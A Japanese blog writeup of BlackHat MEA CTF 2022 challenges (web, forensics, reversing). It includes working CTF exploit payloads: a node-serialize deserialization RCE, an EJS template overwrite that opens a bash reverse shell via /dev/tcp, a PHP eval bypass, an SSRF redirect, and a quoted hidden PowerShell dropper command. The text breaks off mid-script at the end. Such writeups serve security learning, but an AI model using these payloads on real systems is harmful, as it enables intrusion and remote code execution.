st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

BlackHat MEA CTF Qualification 2022 writeup

9/30 - 10/2という日程で開催された。zer0ptsで参加して16位。zer0ptsのチームメンバーのKahlaさんが一部のWeb問の作問をしていると聞いて、また上位チームには11月に開催される決勝大会に参加する際の旅費が支援されると聞いて参加した。旅費支援の対象は上位10チームのうち全完したチームのみとのことだったので、それはダメだった。

一部の問題サーバを必要とする問題ではチームごとにインスタンスを立てる必要があった。(おそらくチーム間でのフラグの共有などの不正検知のために)チームごとにフラグを生成していたり、やりようによっては全参加者に影響を与えられる問題もあったためだろう。それがちょっと印象に残った。

*1


[Web Exploitation 150] Spatify

ソースコードはなし。問題サーバのURLが与えられている。アクセスすると、曲のリストと検索フォームが表示される。裏でSQLのクエリが走るかと、LIKE 句が使われているかの確認のために %%%%% を検索してみると、めちゃくちゃ怪しい曲が出てきた。

この曲のURLにアクセスすると、THISISTHEPASSWORDTOTHEADMINPANEL123321123321 という内容のファイルがダウンロードできた。

どこで使うのか困ったけれども、適当に試していたら /robots.txt を見つけた。内容は Disallow: /superhiddenadminpanel/ というものだったので、このパスにアクセスする。すると、パスワードを要求された。手に入れたパスワードを入力するとフラグが得られる。

BlackHatMEA{1207:14:e35e5613e6948d855fec2746770f48f0b2178fa9}

まさかのfirst blood。

[Web Exploitation 150] peeHpee

問題サーバのURLが与えられている。アクセスするとログインフォームが表示される。

HTMLを確認すると、最後の方に <!-- Check /?source= for the source code --> とある。/?source=a にアクセスしてみると、ソースコードが表示された。メールアドレスは admin@naruto.com、パスワードは SuperSecRetPassw0rd らしい。…が、$inp==="SuperSecRetPassw0rd" である場合には弾かれてしまう。

<?php
//Show Page code source
if(isset($_GET["source"])){
    highlight_file(__FILE__);
}
// Juicy PHP Part
$flag=getenv("FLAG");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if(isset($_POST["email"])&&isset($_POST["pass"])){
        if($_POST["email"]==="admin@naruto.com"){
            $x=$_POST["test"];
            $inp=preg_replace("/[^A-Za-z0-9$]/","",$_POST["pass"]);
            if($inp==="SuperSecRetPassw0rd"){
                die("Hacking Attempt detected");
            }
            else{
                if(eval("return \$inp=\"$inp\";")==="SuperSecRetPassw0rd"){
                    echo $flag;
                }
                else{
                    die("Pretty Close maybe ?");
                }
            }

        }
    }
}

パスワードをチェックする処理が eval("return \$inp=\"$inp\";")==="SuperSecRetPassw0rd" であることに注目する。なんで eval しているのだろうという疑問はおいといて、"SuperSecRetPassw0r"."d のようにすれば $inp==="SuperSecRetPassw0rd" という単純な比較には引っかからない。が、通らない。

あれ? と思ったところ、直前で $inp=preg_replace("/[^A-Za-z0-9$]/","",$_POST["pass"]);A-Za-z0-9$ 以外の文字が削除されていることに気づいた。$ が許可されているなら変数を使えばいい。なぜか $x=$_POST["test"]; といい感じの変数が存在しているので、email=admin@naruto.com&pass=SuperSecRetPassw0r$x&test=d というような感じでPOSTするとフラグが得られた。

BlackHatMEA{1207:17:0cc2d74efc62964ea592f0697408a77f0cf5dcbe}

[Web Exploitation 250] Meme Generator

問題サーバのURLが与えられている。アクセスすると、適当に検索エンジンとクエリを入力すると、それをもとに検索した結果を含む画像を生成してくれるWebアプリケーションっぽいとわかる。/source へのリンクがあり、そこからソースコードが得られる。

肝心の utils.py を見せてくれないのは不満だけれども、/flag でフラグが得られるという情報は得られる。ただし、ローカルからのアクセスでなければならず、またリクエストに使われるURLも http://l0calhost から始まっていなければならない。後者は http://l0calhost.127-0-0-1.nip.io みたいな感じでバイパスできそう。

import utils
from flask import Flask, render_template, request
import os
import html

app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/api/generate", methods = ["POST"])
def generate():
    search_engine = request.form.get("search_engine")
    query = request.form.get("query")
    if not (search_engine and query):
        return "", 400
    utils.take_screenshot(search_engine, query)
    utils.make_meme()
    return "", 200

@app.route("/source")
def source():
    with open(__file__, "r") as f:
        return f"<pre><code>{html.escape(f.read())}</code></pre>", 200

@app.route("/flag")
def flag():
    # TODO: Fix typo
    if request.remote_addr == "127.0.0.1" and request.url.startswith("http://l0calhost"):
        return os.getenv("FLAG"), 200
    return "Nice try", 200

app.run("0.0.0.0", 8080)

検索エンジンの選択欄は、その値が google, duckduckgo, あと searchencrypt から選択するものになっていた。ググると全部 .com で終わるドメイン名のサービスであるとわかる。送られた値と .com、あとパスとクエリパラメータを結合してURLを生成し、アクセスしているのでは?

php -S 0.0.0.0:80 で雑にWebサーバを立てておいて、試しに (IPアドレス).nip.io#検索エンジンとして画像を生成してみると、指定したIPアドレスにアクセスが来た。ただし、以下のエラーログからもわかるように、HTTPSでなければならないらしい。

リダイレクトが効くか試してみたい。Let's Encryptを使ってHTTPSもいけるWebサーバを用意する。以下の内容のHTMLを /a.html に置く。

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="refresh" content="0;URL=http://l0calhost.127-0-0-1.nip.io:8080/flag">
<title>Welcome to nginx!</title>
</head>
<body>
</body>
</html>

(ドメイン名)/a.html#検索エンジンとして画像を生成してみると、以下のような画像が出てきた。成功したようだ。

ランダム生成なので打つのがめちゃくちゃめんどくさいが、フラグは得られた。

BlackHatMEA{1207:15:2278242e666a9c33f8d32ebde22d0a4482634a17}

[Web Exploitation 250] Black Notes

問題サーバのURLが与えられている。アクセスすると、いい感じにメモを取れるサービスが表示される。

Server ヘッダは出ていない(はず)が、/a.html とかにアクセスして404を出させてみると、返ってくるHTMLの感じからExpressで動いているとわかる。

適当にメモを追加してみると、以下のようにCookieがセットされる。

Set-Cookie: notes=eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiYWFhIiwiMiI6Int7Y29uZmlnfX0iLCIzIjoiXCIiLCI0IjoiYSJ9fQ%3D%3D; Path=/

デコードすると以下のようなJSONが出てくる。適当に改ざんしてもそのまま反映されるし、HMACなりなんなりの検証のための文字列がないという見た目の通り、内容は検証されていないようだ。

{"notes":{"0":"Sample Note","1":"aaa","2":"{{config}}","3":"\"","4":"a"}}

ただ、これで何をするのかという問題がある。適当に { のような壊れたJSONを投げてみると、エラーを吐いた。スタックトレースから node-serialize というパッケージを使ってデシリアライズしていそうだと推測できる。

SyntaxError: Unexpected end of JSON input
    at JSON.parse (<anonymous>)
    at exports.unserialize (/data/node_modules/node-serialize/lib/serialize.js:62:16)
    at /data/app.js:42:37
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at next (/data/node_modules/express/lib/router/route.js:144:13)
    at Route.dispatch (/data/node_modules/express/lib/router/route.js:114:3)
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at /data/node_modules/express/lib/router/index.js:284:15
    at Function.process_params (/data/node_modules/express/lib/router/index.js:346:12)
    at next (/data/node_modules/express/lib/router/index.js:280:10)

npmにあるパッケージの説明を見ると、node-serialize は関数もシリアライズしてくれることがわかる。では、{"notes":{"0":"Sample Note","1":{toString(){console.log(123)}}} のように toString というメソッドを持つメモをシリアライズすればどうなるだろう。そのメモを表示する際に toString を呼び出してくれるだろうか。

node-serialize で遊ぶと、関数は _$$ND_FUNC$$_ から始まる文字列にシリアライズされることがわかる。{"notes":{"0":"a","1":{"toString":"_$$ND_FUNC$$_function () { return 7*7 }"}}}Base64エンコードしたものをCookieにセットする。このままアクセスすると、49 という内容のメモが表示された。うまくいったようだ。

{"notes":{"0":"a","1":{"toString":"_$$ND_FUNC$$_function () { return [].constructor.constructor('return process')().mainModule.require('child_process').execSync('ls -la /')+'' }"}}} でルートディレクトリにあるファイルとディレクトリを列挙する。怪しいファイルがひとつある。

total 80
drwxr-xr-x   1 root root 4096 Sep 30 14:50 .
drwxr-xr-x   1 root root 4096 Sep 30 14:50 ..
-rwxr-xr-x   1 root root    0 Sep 30 14:50 .dockerenv
drwxr-xr-x   1 root root 4096 Sep 13 03:44 bin
drwxr-xr-x   2 root root 4096 Sep  3 12:10 boot
drwxr-xr-x   1 root root 4096 Sep 29 09:42 data
drwxr-xr-x   5 root root  340 Sep 30 14:50 dev
drwxr-xr-x   1 root root 4096 Sep 30 14:50 etc
drwxr-xr-x   1 root root 4096 Sep 13 06:33 home
drwxr-xr-x   1 root root 4096 Sep 13 03:44 lib
drwxr-xr-x   2 root root 4096 Sep 12 00:00 lib64
drwxr-xr-x   2 root root 4096 Sep 12 00:00 media
drwxr-xr-x   2 root root 4096 Sep 12 00:00 mnt
drwxr-xr-x   1 root root 4096 Sep 28 23:21 opt
dr-xr-xr-x 481 root root    0 Sep 30 14:50 proc
-rw-r--r--   1 root root   62 Sep 30 14:50 ranDom_fl4gImportant.txt
drwx------   1 root root 4096 Sep 28 23:21 root
drwxr-xr-x   3 root root 4096 Sep 12 00:00 run
drwxr-xr-x   1 root root 4096 Sep 13 03:43 sbin
drwxr-xr-x   2 root root 4096 Sep 12 00:00 srv
dr-xr-xr-x  13 root root    0 Sep 30 14:40 sys
drwxrwxrwt   1 root root 4096 Sep 28 23:21 tmp
drwxr-xr-x   1 root root 4096 Sep 12 00:00 usr
drwxr-xr-x   1 root root 4096 Sep 12 00:00 var

実行するコマンドを cat /ranDom_fl4gImportant.txt に変えるとフラグが得られた。

BlackHatMEA{1207:18:9481f58a77d13556d99f83eb13b9b8dd68f28bcc}

ブラックボックス問題か…と最初思ったけど、エラーメッセージから情報が得られるのはなるほどなあという感じだった。

[Web Exploitation 400] Jimmy's Blog

ソースコードつき。ブログサービスでユーザ登録・ログインもできるけれども、記事を追加できるような機能はない。記事の編集はできるが、それは管理者に限られている。普通に登録するだけでは管理者になれない。登録時には (ユーザ名).key というランダムに生成されたファイルが発行され、ログイン時にはユーザ名を入力した上で、そのファイルをアップロードする。

与えられているソースコードについて、主な処理が index.jsutils.js にある。

index.js

const express = require("express");
const cookieParser = require("cookie-parser");
const sessions = require('express-session');
const body_parser = require("body-parser");
const multer = require('multer')
const crypto = require("crypto")
const path = require("path");
const fs = require("fs");
const utils = require("./utils");

const app = express();

app.set('view engine', 'ejs');
app.set('views', './views');
app.disable('view cache');

app.use(sessions({
    secret: crypto.randomBytes(64).toString("hex"),
    cookie: { maxAge: 24 * 60 * 60 * 1000 },
    resave: false,
    saveUninitialized: true
}));
app.use('/static', express.static('static'))
app.use(body_parser.urlencoded({ extended: true }));
app.use(cookieParser());

const upload = multer();

app.get("/", (req, res) => {
    const article_paths = fs.readdirSync("articles");
    let articles = []
    for (const article_path of article_paths) {
        const contents = fs.readFileSync(path.join("articles", article_path)).toString().split("\n\n");
        articles.push({
            id: article_path,
            date: contents[0],
            title: contents[1],
            summary: contents[2],
            content: contents[3]
        });
    }
    res.render("index", {session: req.session, articles: articles});
})

app.get("/article", (req, res) => {
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const contents = fs.readFileSync(article_path).toString().split("\n\n");
        const article = {
            id: article_path,
            date: contents[0],
            title: contents[1],
            summary: contents[2],
            content: contents[3]
        }
        res.render("article", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.get("/login", (req, res) => {
    res.render("login", {session: req.session});
})

app.get("/register", (req, res) => {
    res.render("register", {session: req.session});
})

app.post("/register", (req, res) => {
    const username = req.body.username;
    const result = utils.register(username);
    if (result.success) res.download(result.data, username + ".key");
    else res.render("register", { error: result.data, session: req.session });
})

app.post("/login", upload.single('key'), (req, res) => {
    const username = req.body.username;
    const key = req.file;
    const result = utils.login(username, key.buffer);
    if (result.success) { 
        req.session.username = result.data.username;
        req.session.admin = result.data.admin;
        res.redirect("/");
    }
    else res.render("login", { error: result.data, session: req.session });
})

app.get("/logout", (req, res) => {
    req.session.destroy();
    res.redirect("/");
})

app.get("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const article = fs.readFileSync(article_path).toString();
        res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.post("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    try {
        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
        res.redirect("/");
    } catch {
        res.sendStatus(404);
    }
})

app.listen(3000, () => {
    console.log("Server running on port 3000");
})

utils.js

const sqlite = require("better-sqlite3");
const path = require("path");
const crypto = require("crypto")
const fs = require("fs");

const db = new sqlite(":memory:");

db.exec(`
    DROP TABLE IF EXISTS users;

    CREATE TABLE IF NOT EXISTS users (
        id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        username   VARCHAR(255) NOT NULL UNIQUE,
        admin      INTEGER NOT NULL
    )
`);

register("jimmy_jammy", 1);

function register(username, admin = 0) {
    try {
        db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
    } catch {
        return { success: false, data: "Username already taken" }
    }
    const key_path = path.join(__dirname, "keys", username + ".key");
    const contents = crypto.randomBytes(1024);
    fs.writeFileSync(key_path, contents);
    return { success: true, data: key_path };
}

function login(username, key) {
    const user = db.prepare("SELECT * FROM users WHERE username = ?").get(username);
    if (!user) return { success: false, data: "User does not exist" };

    if (key.length !== 1024) return { success: false, data: "Invalid access key" };
    const key_path = path.join(__dirname, "keys", username + ".key");
    if (key.compare(fs.readFileSync(key_path)) !== 0) return { success: false, data: "Wrong access key" };
    return { success: true, data: user };
}

module.exports = { register, login };

フラグは /article/edit にある res.render("article", { article: article, session: req.session, flag: process.env.FLAG }); という処理から、環境変数にあることがわかる。テンプレートに値として渡されているけれども、flag はどこからも参照されていない。RCEに持ち込む必要がありそうだなあと察する。

メタ読みだけれども、/edit という重要そうな機能があるのに、初っ端で if (!req.session.admin) return res.sendStatus(401); と管理者以外を弾いているところが怪しい。まずは別の脆弱性で管理者となってから、/edit脆弱性を使ってなにかするんだろうなあと推測できる。/edit脆弱性は明らかで、Path Traversalで好きなファイルを書き換えられる。

        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));

管理者になる方法を探したい。管理者であるかどうかを含めたユーザ情報はDBに保存されているけれども、ちゃんとプリペアドステートメントを使っているからSQLiはできない。登録時・ログイン時には管理者かどうかを設定できるようなパラメータはユーザから直接受け付けていない。

utils.jsregister("jimmy_jammy", 1); という処理から、jimmy_jammy というユーザが最初から管理者として登録されていることがわかる。このユーザになりすませないか。まず jimmy_jammy というユーザ名で登録できないかと思ったが、DBの作成時に username カラムにUNIQUE制約がつけられているからダメ。

ソースコードを眺めていたところ、utils.js にある register の以下の処理で、Path Traversalができることに気づく。ユーザごとに生成される鍵は keys/(ユーザ名).key に保存されているが、../keys/jimmy_jammy のようなユーザ名で登録すれば、UNIQUE制約を回避しつつ jimmy_jammy の鍵を書き換えられないか。

    const key_path = path.join(__dirname, "keys", username + ".key");
    const contents = crypto.randomBytes(1024);
    fs.writeFileSync(key_path, contents);

../keys/jimmy_jammy というユーザ名で登録し、jimmy_jammy というユーザ名と発行された鍵のペアでログインできた。これで /edit が使えるようになった。

/edit のPath Traversalで何を書き換えるかだが、まずテンプレートファイルを思いついた。mustacheのようなCTFerに優しくないテンプレートエンジンでなく、EJSという慈愛に満ちたものが使われているから、RCEに持ち込むのは簡単だ。

以下のように、レンダリングされるとリバースシェルを張るOSコマンドが走るテンプレートを views/register.ejs に書き込む。

fetch("https://(ホスト名)/edit?id=../views/register.ejs", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": "article=<%25%3D process.mainModule.require('child_process').execSync('bash -c %22bash -i >%26 /dev/tcp/(IPアドレス)/8000 0>%261%22') %25>",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

これで /register にアクセスすると、無事問題サーバから接続が来た。printenv でフラグが得られた。

root@85f627b9c0d9:/app# printenv
printenv
HOSTNAME=85f627b9c0d9
YARN_VERSION=1.22.19
PWD=/app
NODE_ENV=production
HOME=/root
FLAG=BlackHatMEA{1207:16:523154af52d534aa6f2532c83c6a2632ff847f01}
SHLVL=3
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=18.9.1
_=/usr/bin/printenv
BlackHatMEA{1207:16:523154af52d534aa6f2532c83c6a2632ff847f01}

[Digital Forensics 150] Bus

bus.pcap というpcapファイルが与えられる。Wiresharkで開いてみると、なんかModbusをしゃべっている様子が見られる。送信されているデータは ff00 ばかりだ。

Scapyを使った以下のスクリプトでどんなデータが送信されているか見てみる。

from scapy.all import *
res = b''
for i, pkt in enumerate(PcapReader('bus.pcap')):
    if not (TCP in pkt and pkt[TCP].dport == 502 and hasattr(pkt, 'load')):
        continue
    res += bytes([pkt.load[-2]])
print(res)

やはり ff00 のみらしい。

$ python3 s.py
b'\x00\xff\xff\xff\xff\x00\x00\xff\x00\xff\xff\x00\xff\xff\xff\xff\x00\xff\xff\xff\x00\xff\x00\xff\x00\xff\xff\xff\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\xff\xff\x00\x00\xff\x00\x00\xff\xff\x00\x00\x00\xff\x00\x00\x00\x00\x00\xff\x00\xff\x00\x00\x00\xff\xff\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\xff\xff\x00\xff\x00\x00\xff\x00\xff\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\xff\x00\xff\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\xff\x00\x00\xff\xff\x00\xff\x00\xff\xff\x00\xff\xff\xff\xff\x00\xff\xff\x00\x00\xff\x00\x00\x00\xff\xff\x00\x00\x00\xff\x00\x00\xff\xff\xff\x00\xff\x00\xff\x00\xff\xff\xff\x00\x00\xff\xff\x00\xff\x00\xff\xff\xff\xff\xff\x00\xff\xff\x00\xff\x00\x00\xff\x00\xff\xff\xff\x00\x00\xff\xff\x00\xff\x00\xff\xff\xff\xff\xff\x00\xff\xff\x00\x00\xff\x00\xff\x00\xff\xff\x00\x00\x00\x00\xff\x00\xff\xff\xff\x00\x00\xff\xff\x00\xff\xff\xff\xff\x00\x00\xff\x00\xff\x00\xff\xff\xff\xff\xff\x00\xff\xff\x00\x00\x00\x00\xff\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\xff\x00\xff\x00\x00\x00\xff\xff\x00\x00\xff\x00\xff\x00\xff\xff\xff\x00\x00\xff\x00\x00\xff\x00\xff\xff\xff\xff\xff\x00\xff\xff\x00\x00\x00\x00\xff\x00\xff\xff\x00\xff\xff\x00\x00\x00\xff\xff\x00\xff\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff'

これを2進数とみて、ff00 をそれぞれ 10 に置換する。ありがとうCyberChef

Modbus_is_easy_after_all!

[Digital Forensics 250] Mem

Windowsのメモリダンプっぽいものが与えられる。問題文には "I can no longer retrieve my secret file, also I don't remember the password. It is a hard password and securely generated, but i saved it locally" とあったので、Volatilityを使って filescan でファイルを探す。flag.rarHint.txt というとても怪しいファイル名が出てきた。

> volatility_2.6_win64_standalone.exe -f .\mem.raw --profile=Win7SP1x64 filescan
…
0x000000001bbff9c0     16      0 R--r-- \Device\HarddiskVolume1\Users\Machine\Desktop\CTF\flag.rar
...
0x000000002639ddd0     16      0 R--r-- \Device\HarddiskVolume1\Users\Machine\Desktop\CTF\flag.rar
...
0x000000007dc4f8c0     16      0 R--rw- \Device\HarddiskVolume1\Users\Machine\Desktop\Hint.txt
…

volatility_2.6_win64_standalone.exe -f .\mem.raw --profile=Win7SP1x64 dumpfiles -D output/ -Q 0x000000001bbff9c0 のような感じでファイルを取り出す。…が、Hint.txt の方はなぜかうまくいかない。困っていると、aventadorさんが volshell で色々いじって、UserPasswordHint というレジストリキーを見つけたと教えてくれた。その値は環境変数をチェックしろというヒントだったらしい。

envars環境変数を確認する。

> volatility_2.6_win64_standalone.exe -f .\mem.raw --profile=Win7SP1x64 envars
Pid      Process              Block              Variable                       Value
-------- -------------------- ------------------ ------------------------------ -----
     224 smss.exe             0x00000000002b1320 Path                           C:\Windows\System32
     224 smss.exe             0x00000000002b1320 SystemDrive                    C:
     224 smss.exe             0x00000000002b1320 SystemRoot                     C:\Windows
…
     300 csrss.exe            0x00000000002e1320 SystemP                        Ittm1Fc7hcuFrLZIQmxs
…

SystemP というのがそれだったらしい。Ittm1Fc7hcuFrLZIQmxs というパスワードで flag.rar を展開できた。

Password_hints_are_the_retrievable

[Reverse Engineering 150] SelfReg

Windows向けのレジストリ情報が入っている sample.reg というファイルが与えられる。雑にバイナリエディタで見てみると HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce というレジストリキーであったり、PowerShellスクリプトであったりが見える。

実行されるコマンドはこんな感じ。ファイルサイズが0x10683バイトの .reg ファイルを探してバッチファイルとして書き込み、実行しているのだろうなあとなんとなくわかる。

cmd.exe /c \"powershell -windowstyle hidden $reg = gci -Path C:\\ -Recurse *.reg ^| where-object {$_.length -eq 0x00010683} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\"

sample.reg の後ろの方にはまた怪しげなコマンドやらなんやらがある。0x77とXORして、643バイト目以降を切り取って (ランダムな値).exe として保存・実行しているのだろうなあという雰囲気がつかめる。

CyberChefを使うと楽にファイルが取り出せる。

出てきたPEファイルをGhidraに投げると、すぐにそれっぽい関数が見つかった。

sub_140001540 と同じことをするとフラグが得られる。

Flag{3mbed_ex3_1n_s3lf_3xecut1ng_r3g_f1le}

[Reverse Engineering 400] Hope you know JS

問題サーバのURLが与えられる。アクセスすると good-luck.jsflag_prefix.txt という2つのファイルがあることを示すインデックスが表示された(zer0pts向けのこの2つのファイルはGistに置いた)。前者はjavascript-obfuscatorで難読化されたJSコードで、実行すると prompt でパスワードを聞かれる。不正解ならコンソールにwrongと出力される。後者は 1207:24: という内容で、good-luck.js の正解のパスワードとくっつけるとフラグができあがる。

prompt でパスワードを聞かれた際に、短い文字列だと Cannot read properties of undefined (reading 'charCodeAt') と怒られてしまう。おそらく文字数のチェックをしないままループを回したりして範囲外アクセスが起こっているのだろう。これをヒントにまずはパスワードの文字数を特定したい。1文字ずつ増やしていって、エラーを吐かなくなるのは何文字のときか確認する。以下のコードを実行すると、40文字とわかった。

(async () => {
const check = await (await fetch('good-luck.js')).text();

for (let i = 0; i < 100; i++) {
  const prompt = () => 'A'.repeat(i);
  try {
    eval(check);
    console.log(i);
    return;
  } catch {}
}
})();

では次は、とJSコードを読み進めようとしたところ、aventadorさんが以下の関数が怪しいと目をつけた。3つを抜き出したが、このほかにも x から始まる似たような構造の関数が何十個とある。難読化されているから読みにくいけど、要は a*b==parseInt(…) やら a-b==parseInt(…) やらといったことをしている。これが全部成り立つようにするとパスワードが出てくるはず。

function xa66ae5ebf8df259d8994(_0x46eb60, _0x3ad4f1, _0x14eb5d, _0x2d1b46, 
_0x2f60a2) {
  var _0x520fe0 = _0xe23282, _0xd34566 = _0x14eb5d * _0x2f60a2 == 
parseInt([2, 3, false.toString()[_0x520fe0(460)], 2][_0x520fe0(452)](""));
  return _0xd34566;
}
function x784494430ee598507f11(_0x20333e, _0x31010a, _0x26af38, _0x28565f, 
_0x41c64b) {
  var _0x587984 = _0xe23282, _0x5b1022 = _0x20333e - _0x26af38 == 
parseInt([2][_0x587984(452)](""));
  return _0x5b1022;
}
function xcd00020f1f34253dd9ce(_0x2ef2ec, _0x2216df, _0x4f18eb, _0x213a1a, 
_0x53ea5a) {
  var _0x4e1d5b = _0xe23282, _0x7ebe89 = _0x4f18eb + _0x53ea5a == 
parseInt([1, false[_0x4e1d5b(450)]()[_0x4e1d5b(460)], 
0][_0x4e1d5b(452)](""));
  return _0x7ebe89;
}
// …

parseInt の引数は定数(であると信じたい)なので、その部分の難読化を解除したい。ついでに、引数が _0x2ef2ec やら _0x2216df やら読みづらいのでリネームしたい。手作業でやるのもなんなので、まとめて難読化を解除するスクリプトを書く。手順は次のような感じ。

  1. 仮引数名をリネームする
    1. 仮引数名を取得する
    2. それらを a0a2 のように何番目の引数かわかるよう置換する
  2. parseInt の引数を置換する
    1. parseInt の引数を切り出す
    2. eval して元の定数を取得し、置換する

ASTを解析するほどでもないしと思い、正規表現を中心とした文字列処理でなんとかした。以下のコードを実行すると、うまくいった。

console.log(`function xa66ae5ebf8df259d8994(_0x46eb60, _0x3ad4f1, _0x14eb5d, _0x2d1b46, _0x2f60a2)
{
    var _0x520fe0 = _0xe23282,
        _0xd34566 = _0x14eb5d * _0x2f60a2 == parseInt([+!![] + +!![], +!![] + +!![] + +!![], (![])['toString']()[_0x520fe0(0x1cc)], +!![] + +!![]][_0x520fe0(0x1c4)](''));
    return _0xd34566;
}

function x784494430ee598507f11(_0x20333e, _0x31010a, _0x26af38, _0x28565f, _0x41c64b)
{
    var _0x587984 = _0xe23282,
        _0x5b1022 = _0x20333e - _0x26af38 == parseInt([+!![] + +!![]][_0x587984(0x1c4)](''));
    return _0x5b1022;
}

function xcd00020f1f34253dd9ce(_0x2ef2ec, _0x2216df, _0x4f18eb, _0x213a1a, _0x53ea5a)
{
    var _0x4e1d5b = _0xe23282,
        _0x7ebe89 = _0x4f18eb + _0x53ea5a == parseInt([+!![], (![])[_0x4e1d5b(0x1c2)]()[_0x4e1d5b(0x1cc)], +![]][_0x4e1d5b(0x1c4)](''));
    return _0x7ebe89;
}
…`.split('\n\n').map(func => {
    // rename params
    const params = /\((.+), (.+), (.+), (.+), (.+)\)/g.exec(func.split('\n')[0]).slice(1, 6);
    func = params.reduce((p, c, i) => {
        return p.replaceAll(c, `a${i}`);
    }, func);

    // rename function names
    if (func.includes('_0xe23282')) {
        let [before, after] = func.split('\n')[2].split(' = ');
        before = before.split(' ').at(-1);
        after = after.slice(0, -1);
        func = func.replaceAll(before, after);
    }

    // deobfuscate constants
    let consts = [];
    let match, regex = /parseInt/g;
    let prevEnd = 0;
    let res = '';
    while ((match = regex.exec(func)) !== null) {
        let start = match.index + 9;
        let end = start, depth = 1;
        while (depth > 0) {
            if (func[end] === '(') depth++;
            if (func[end] === ')') depth--;
            end++;
        }

        const arg = func.slice(start, end - 1);
        res += func.slice(prevEnd, start - 9) + parseInt(eval(arg));
        prevEnd = end;
        
    }
    res += func.slice(prevEnd);

    return res;
}).join('\n'));

出力されたコードは以下のような感じ。だいぶ読みやすくなった。

function xa66ae5ebf8df259d8994(a0, a1, a2, a3, a4)
{
    var _0xe23282 = _0xe23282,
        _0xd34566 = a2 * a4 == 2352;
    return _0xd34566;
}
function x784494430ee598507f11(a0, a1, a2, a3, a4)
{
    var _0xe23282 = _0xe23282,
        _0x5b1022 = a0 - a2 == 2;
    return _0x5b1022;
}
function xcd00020f1f34253dd9ce(a0, a1, a2, a3, a4)
{
    var _0xe23282 = _0xe23282,
        _0x7ebe89 = a2 + a4 == 150;
    return _0x7ebe89;
}
// …

まだ問題はあって、これらの関数に渡ってきた引数が、それぞれパスワードの何文字目であるかはこのままではわからない。なので、各関数の頭に関数名と引数を吐き出すコードを挿入する。0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcd のように各文字がユニークな文字列を prompt では入力しておいて、各関数にある引数を出力する処理では、渡ってきた各引数がそれぞれユーザ入力の何文字目と対応するかチェックし、出力する。

この処理を実装すると以下のようになる。

console.log(`
function getIndices(args) {
    const table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcd';
    return args.map(c => table.indexOf(String.fromCharCode(c)));
}
` + `function xa66ae5ebf8df259d8994(a0, a1, a2, a3, a4)
{
    var _0xe23282 = _0xe23282,
        _0xd34566 = a2 * a4 == 2352;
    return _0xd34566;
}
function x784494430ee598507f11(a0, a1, a2, a3, a4)
{
    var _0xe23282 = _0xe23282,
        _0x5b1022 = a0 - a2 == 2;
    return _0x5b1022;
}
function xcd00020f1f34253dd9ce(a0, a1, a2, a3, a4)
{
    var _0xe23282 = _0xe23282,
        _0x7ebe89 = a2 + a4 == 150;
    return _0x7ebe89;
}

`.replaceAll(/function (x[0-9a-f]+)\(.+?\n\{/gm, function (m, f) {
  return `function ${f}(a0, a1, a2, a3, a4)\n{\n    console.log('${f}:', getIndices([a0, a1, a2, a3, a4]));`;
}))

実行すると以下のようなコードが出力される。うまくいってそう。元の関数をこれで置き換えて、実行する。

function getIndices(args) {
    const table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcd';
    return args.map(c => table.indexOf(String.fromCharCode(c)));
}
function xa66ae5ebf8df259d8994(a0, a1, a2, a3, a4)
{
    console.log('xa66ae5ebf8df259d8994:', getIndices([a0, a1, a2, a3, a4]));
    var _0xe23282 = _0xe23282,
        _0xd34566 = a2 * a4 == 2352;
    return _0xd34566;
}
// …

表示された prompt0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcd を入力すると、以下のように出力された。

あとはZ3に解かせるだけだ。

import re
from z3 import *

with open('indices.txt', 'r') as f:
  indices = f.read()
  indices = [line.split(' ', 1) for line in indices.splitlines()]
  indices = [(line[0], eval(line[1])) for line in indices]
  indices = {k: v for k, v in indices}

with open('suspicious.js', 'r') as f:
  code = f.read()

input = [Int(f'flag_{i}') for i in range(40)]
solver = Solver()
for c in input:
  solver.add(0x20 <= c, c < 0x7f)

for func in code.split('\n\n'):
  func_name = re.findall(r'function (x[0-9a-f]+)', func)[0]
  m = indices[func_name]
  for i in range(5):
    func = func.replace(f'a{i} ', f'input[{m[i]}] ')

  func = func.replace(';', '')
  func = func.replace(',', '')
  eqs = re.findall(r' = (.+ == .+)', func)

  for eq in eqs:
    solver.add(eval(eq))

  print(eqs)

res = solver.check()
print(res)

if res == sat:
  flag = ''
  m = solver.model()
  for c in input:
